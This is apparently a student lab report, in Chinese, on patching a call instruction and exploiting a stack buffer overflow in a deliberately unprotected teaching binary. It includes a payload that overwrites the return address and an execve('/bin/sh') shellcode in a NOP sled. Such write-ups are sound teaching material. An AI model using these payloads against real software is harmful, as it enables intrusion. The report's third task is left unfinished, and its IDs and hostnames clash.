20242304 2025-2026-1 《网络与系统攻防技术》实验一实验报告

20242304 2025-2026-1 《网络与系统攻防技术》实验一实验报告

姓名:张家玮

实验名称:逆向破解与 BOF(Buffer Overflow)

实验环境:Kali Linux 虚拟机(64 位系统,运行 32 位程序 pwn1;主机名已改为姓名拼音zhangjiawei),工具:objdump、gdb(含 GEF 插件)、checksec、vi+xxd、perl、xxd、core dump

1. 基础知识

1.1 汇编指令与机器码

一条汇编指令对应一条机器指令

本实验涉及指令的机器码如下:

指令 机器码 说明
NOP 0x90 空操作,滑板(sled)填充用,执行到它会顺势滑向后面的指令
JE 0x74 xx 相等则跳(短跳转,相对偏移)
JNE 0x75 xx 不相等则跳(短跳转,相对偏移)
JMP 0xEB xx / 0xE9 xxxxxxxx 无条件跳转,短跳转与近跳转两种
CMP 0x38~0x3D 系列 比较两个操作数,影响标志位

另外

  • call = 0xE8 + 4 字节相对偏移(补码表示)。x86 的 call 是相对寻址,目标地址 = call 指令地址 + 5 + 偏移量,与 ASLR 无关(代码段地址固定)。
  • x86 采用小端序,多字节数据(如地址 0x0804847d)在内存和文件里低字节在前,写作 \x7d\x84\x04\x08。

1.2 反汇编与文本编程器

  • 反汇编是汇编的逆过程,把机器码还原成汇编代码。Linux 下用 objdump -d 即可,常配合 grep -A n "<main>:" 只看某个函数。
  • 本实验用 vi 这个文本编程器用于修改二进制文件。跟vim差不多。其中,:%!xxd 进入十六进制模式,二进制文件用 vi 直接打开是乱码,先切十六进制模式方便人看。

1.3 ELF 文件与进程内存布局

ELF 是 Linux 的可执行文件格式(Windows 是 PE)。文件中的 .text 段是只读代码,.data/.bss 是全局数据。程序运行时操作系统把它加载进内存,每个进程有独立的虚拟地址空间,32 位非 PIE 程序的代码段一般固定在 0x08048000 附近。

程序运行时内存从低地址到高地址大致是:.text 代码 → .data/.bss 数据 → 堆(向上增长)→ 栈(向下增长)→ 内核空间。

栈帧是函数在栈上的"工作区",保存三类关键数据:局部变量、旧的 EBP(上一个栈帧的位置)、返回地址。CPU 通过三个寄存器配合工作:EIP 指向下一条要执行的指令,ESP 指向栈顶,EBP 指向当前栈帧基址。本次实验的核心就是改EIP。

1.4 BOF 漏洞与 Shellcode

  • BOF(Buffer Overflow,缓冲区溢出):程序向栈上的缓冲区写数据时不检查长度(如 gets()),输入超过缓冲区大小后,多余的字节会依次淹没相邻区域,最终覆盖返回地址。函数返回时,ret 把被覆盖的值弹入 EIP,程序就跳到了攻击者指定的地址。
  • Shellcode:一段让 CPU 直接执行的二进制机器指令(不是汇编文本),通常用来执行 execve("/bin/sh") 弹出一个 shell。本实验使用的是经典的 25 字节 shellcode,大致逻辑是:xor eax 后三次 push 在栈上构造字符串 //bin/sh 及其地址,然后依次设置 execve 的三个参数(ebx=路径、ecx=argv、edx=envp=0),eax 置系统调用号 11,最后 int 0x80 触发软中断交给内核执行。
  • NOP 滑梯:在 shellcode 前填充大量 0x90,只要 EIP 落在滑梯任意位置,都会"滑"进 shellcode,从而提高攻击命中率(因为栈地址可能因启动方式不同而有小幅偏差)。

1.5 常见防护机制

  • ASLR(地址空间随机化):随机化栈、堆、共享库的加载地址,让攻击者猜不到缓冲区地址;
  • NX(栈不可执行):栈上数据不能当代码跑,shellcode 注入失效;
  • Canary(栈保护):在返回地址前放一个随机"金丝雀"值,被覆盖时程序主动崩溃。

本实验的程序是特意编译成"不设防"的(32 位、NX 关闭),用于教学。实验前用 checksec --file=./pwn1 确认:NX disabled、无 Canary、No PIE。

1.6 小端序

x86架构在内存中存放多字节数据时采用小端序,即低字节存放在低地址。例如地址 0x0804847d 在内存中的字节排列为 7d 84 04 08(从低地址到高地址)。构造payload时必须按这个顺序写入,这也是任务二、任务三中地址写法看起来“倒过来”的原因。

2. 实验内容

实验对象是 32 位 Linux 可执行文件 pwn1。

正常过程是 main 调用 foo,foo 用 gets() 回显输入;

但本程序中还有个的 getShell 函数(内部执行 system("/bin/sh"))。

本次实验目标是想办法运行 getShell,并进一步注入自定义 shellcode。

任务 攻击手段 利用的原理 涉及的主要工具/指令
任务一 十六进制编辑改可执行文件 Call 指令偏移、EIP、补码 objdump、vi + xxd、十六进制编辑器
任务二 构造输入字符串覆盖返回地址 堆栈结构、返回地址 gdb、perl、xxd
任务三 注入自构造 Shellcode RNS payload 布局、栈可执行 execstack、gdb attach、nc

3. 实验过程

3.0 实验准备

文件传输:pwn1 最初在 Windows 宿主机上。直接拖拽到 Kali 桌面会出现红色禁止符号,于是询问豆包AI可知,要实现安全可靠的传输,需要通过以下步骤:

屏幕截图 2026-10-08 141854

  1. 在你的本地电脑,找到存放pwn1的文件夹,在这个文件夹里打开 cmd(powershell)
  2. 在 cmd 里执行:
python -m http.server 8000

如果提示 python 不是命令,就用:python3 -m http.server 8000

  1. 看 Windows 网卡 IP:cmd 输入 ipconfig,找到虚拟机网卡(VMnet8)的 IPv4,比如192.168.137.1
  2. 切换到 Kali 终端,输入:
wget http://192.168.137.1:8000/pwn1

把 IP 换成你 Windows 的 IP,文件直接下载到 kali 当前目录。

  1. 下载完成,赋予执行权限:
chmod +x pwn1

验证:ls,看到 pwn1 文件,然后执行你之前的反汇编命令:objdump -d pwn1 | more

  1. 传完文件后,Windows cmd 里按 Ctrl+C 关闭临时服务器。

屏幕截图 2026-10-08 142144

屏幕截图 2026-10-08 142455

屏幕截图 2026-10-08 142628

屏幕截图 2026-10-08 143120

屏幕截图 2026-10-08 143625

foo 里面会有一条 call 指令,我们后面修改这条 call 的机器码偏移,让它跳转到getShell

这里有两个文件pwn1和pwn1.1.主要是我第一次做的时候把文件pwn1损坏了,方便起见我又把原始文件重新复制粘贴在虚拟机上,命名为pwn1.1

反汇编得出的hints:

  • foo 地址:0x08048491

  • getShell 地址:0x0804847d

  • call foo 指令:0x080484b5,机器码 e8 d7 ff ff ff

  • foo 的 ret 指令:0x080484ae

    3.1任务一:直接修改程序机器指令,改变程序执行流程

    反汇编找目标

    下载目标文件 pwn1,反汇编。下面只保留最核心的几行代码:

    root@KaliYL:~# objdump -d pwn1 | more
    
    0804847d <getShell>:
     804847d:    55                       push   %ebp
     ...
    08048491 <foo>:
     8048491:    55                       push   %ebp
     ...
    080484af <main>:
     ...
     80484b5:    e8 d7 ff ff ff           call   8048491 <foo>
     80484ba:    b8 00 00 00 00           mov    $0x0,%eax
     ...
    

屏幕截图 2026-10-08 143625

3.2 读懂 call 指令:EIP + 偏移

- call 8048491 <foo> 是汇编指令,说这条指令将调用位于地址 8048491 处的 foo 函数
- 其对应机器指令为 e8 d7ffffff:
- e8 即跳转(call)之意
- 正常流程下,此时此刻 EIP 的值应该是下条指令的地址,即 80484ba
- CPU 执行 e8 这条指令时,会转而执行 “EIP + d7ffffff” 位置的指令
- d7ffffff 是补码,表示 -41:
- 41 = 0x29,80484ba + (-0x29) = 8048491,正好是 foo 的地址

> 想让 main 调用 getShell? 只要把 d7ffffff 改成 “getShell - 80484ba” 对应的补码即可。

--

计算新的偏移并修改文件

- main 函数调用 foo,机器指令为 e8 d7ffffff
- 想让它调用 getShell,只要修改 d7ffffff 为 “getShell - 80484ba” 对应的补码
- 用计算器直接 47d - 4ba,得到补码 c3ffffff
- 下面修改可执行文件,把 call 指令的目标 由 d7ffffff 变为 c3ffffff

root@KaliYL:~# cp pwn1 pwn2 root@KaliYL:~# vi pwn2

屏幕截图 2026-09-28 161022

屏幕截图 2026-09-28 163618

vi 十六进制编辑步骤

| 步骤 | vi 内操作 | 说明 |
| --- | -------------- | ----------- |
| 1 | 按 ESC | 确保在普通模式 |
| 2 | :%!xxd | 切换为十六进制显示模式 |
| 3 | /e8d7 | 查找要修改的内容 |
| 4 | 前后内容与反汇编对比 | 确认位置正确 |
| 5 | 把 d7 改为 c3 | 修改 call 偏移 |
| 6 | :%!xxd -r | 转换回二进制格式 |
| 7 | :wq | 存盘退出 |

屏幕截图 2026-10-08 144429

验证:反汇编 + 运行

再反汇编看一下, call 指令是否已正确调用 getShell

运行改后的代码, 会得到 shell 提示符 #

屏幕截图 2026-09-28 180413

任务一搞定!

3.3任务二:利用 foo 的 BOF 漏洞覆盖返回地址

由反汇编可知:缓冲区在 EBP 下方 0x1c = 28 字节处,EBP 本身占 4 字节
故从缓冲区开头到返回地址正好相距 32 字节也就是说,输入 32 字节填充,第 33~36 字节就是要写入的新返回地址。

用 gdb 验证偏移量:

1791438751093

屏幕截图 2026-09-28 181827

屏幕截图 2026-09-28 181848

1791438751099

EIP = 0x34333231,即 “1234” 的逆序(小端字节序)。

这说明:在字符串中写的顺序是正序,但存入内存后是逆序的。

执行攻击:

屏幕截图 2026-09-28 184520

攻击成功,终端出现 $ 提示符,执行 whoami(kali)、ls 验证 shell 可用。

但是我也有一个大大的疑惑,为啥没有$ 提示符?(前面还有一串乱码),但确实是一个shell?
通过查询豆包AI可知,首先,乱码是正常回显:foo 里的 puts(buf) 在攻击生效前把输入原样打印了一遍。32 个填充字符正常显示,最后的 7d 84 04 08 四字节不是可打印字符,终端显示为 ◆� 说明 payload 完整到达了缓冲区。 没有判断成功的标准是命令有没有被执行(whoami 返回 kali、ls 正常),而不是有没有提示符。想要看到 $,可用 script -q -c "./pwn1" /dev/null 包一层伪终端。

任务二搞定!

3.4 任务三:注入自定义 Shellcode 并运行

前置检查:

checksec --file=./pwn1

overlay-image

first try(failed)shellcode 放在返回地址下方,因为自覆写崩了
按常见的"NOP 滑梯 + shellcode + 返回地址"布局构造 payload,返回地址暂用占位符:

perl -e 'print "\x90"x6 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" . "\x90" . "\x04\x03\x02\x01" . "\x00"' > input_shellcode_20242320

两个终端配合定位:终端 1 运行 (cat input_shellcode_20242320; cat) | ./pwn1,终端 2 ps aux | grep pwn1 找到 PID 后 gdb -p <PID>,break *0x080484ae(foo 的 ret),c 后回终端 1 按回车触发断点:

(gdb) info registers esp          # esp = 0xffffcf6c,指向占位符 0x01020304
(gdb) x/24x $esp-0x28

overlay-image (1)

overlay-image (2)

屏幕截图 2026-09-28 123520

栈内容可见 0x90909090(滑梯)、0xc0319090(滑梯尾 + shellcode 开头 31 c0)、0x01020304(占位符),推算出 shellcode 起始 = esp − 30 = 0xffffcf52。

于是把返回地址指向滑梯中部 0xffffcf4e,构造 input_shellcode2_20242304

overlay-image (3)

4. 问题及解决方案

  • 问题 1:pwn1 文件从 Windows 传不进 Kali。

    1. 在你的本地电脑,找到存放pwn1的文件夹,在这个文件夹里打开 cmd(powershell)
    2. 在 cmd 里执行:
    python -m http.server 8000
    

    如果提示 python 不是命令,就用:python3 -m http.server 8000

    1. 看 Windows 网卡 IP:cmd 输入 ipconfig,找到虚拟机网卡(VMnet8)的 IPv4,比如192.168.137.1
    2. 切换到 Kali 终端,输入:
    wget http://192.168.137.1:8000/pwn1
    

    把 IP 换成你 Windows 的 IP,文件直接下载到 kali 当前目录。

    1. 下载完成,赋予执行权限:
    chmod +x pwn1
    

    验证:ls,看到 pwn1 文件,然后执行你之前的反汇编命令:objdump -d pwn1 | more

    1. 传完文件后,Windows cmd 里按 Ctrl+C 关闭临时服务器。
  • 问题 2:vi 修改字节时误操作导致交换文件残留。
    改错字节后按 Ctrl+Z 想"撤销",实际上只是把 vi 挂起(进程仍在后台运行),再次打开文件时 vi 报 E325: ATTENTION ... Swap file already exists。解决:先选 (Q)uit 放弃本次打开,fg 把挂起的 vi 唤回前台,:q! 正常退出不保存,再 rm -f .pwn1_20242320.swp 清除残留。教训:vi 里退出用 :q(放弃保存用 :q!),不要用 Ctrl+Z;二进制视图下只能用方向键/hjkl 移动光标,按字母键等于编辑。然后实在不行就从Windows上面重新传进来一份干净的新的文件重新命名重新操作。

  • 问题 3:任务二 gdb 验证时输入被当成 shell 命令。
    gdb pwn1_20242304 运行后直接弹出 $,输入的 40 个测试字符被 shell 执行报 not found。原因:任务一改过的文件 main 直接调用 getShell,不再经过 foo 的 gets。解决:任务二及之后的所有 BOF 实验都改用原始文件 pwn1。

  • 问题 4:任务三第一次注入失败,且 gdb ./pwn1 core 报文件不存在。
    失败现象是段错误;core 方面,第一次崩溃后目录里没有名为 core 的文件。排查发现 cat /proc/sys/kernel/core_uses_pid 为 1,文件名带进程号后缀,实际文件是 core.65989,用全名 gdb ./pwn1 core.65989 即可。

5. 学习感悟、思考等

本次实验是网络与系统攻防技术的第一次实验。一直觉得网络攻防是网安专业最实用最锻炼专业能力的一门课,实验就是真真正正地在上手实践去体会“攻”与“防”——如何找出漏洞攻击,又如何填补漏洞。
所以就像王老师说的,不能简简单单按部就班照着教程做完就结束了。教程详细,机械式地输入代码一步步做起来并不难;但如果脱离了教程,我们是否还清楚了解每步的具体操作和其背后的原理呢?
所以对我来说,理解这个实验用了很大的功夫。好在有刘老师的视频讲解,虽然时长较长,但是整体看下来,这次实验的逆向攻击和Bof攻击都让我留下了一个整体且深刻的印象。再加上网上查阅资料,我更加扩宽了自己的知识面,会将为未来的网络攻防学习打下好的基础。

posted @ 2026-10-09 08:46  在那个明天见  阅读(13)  评论(0)    收藏  举报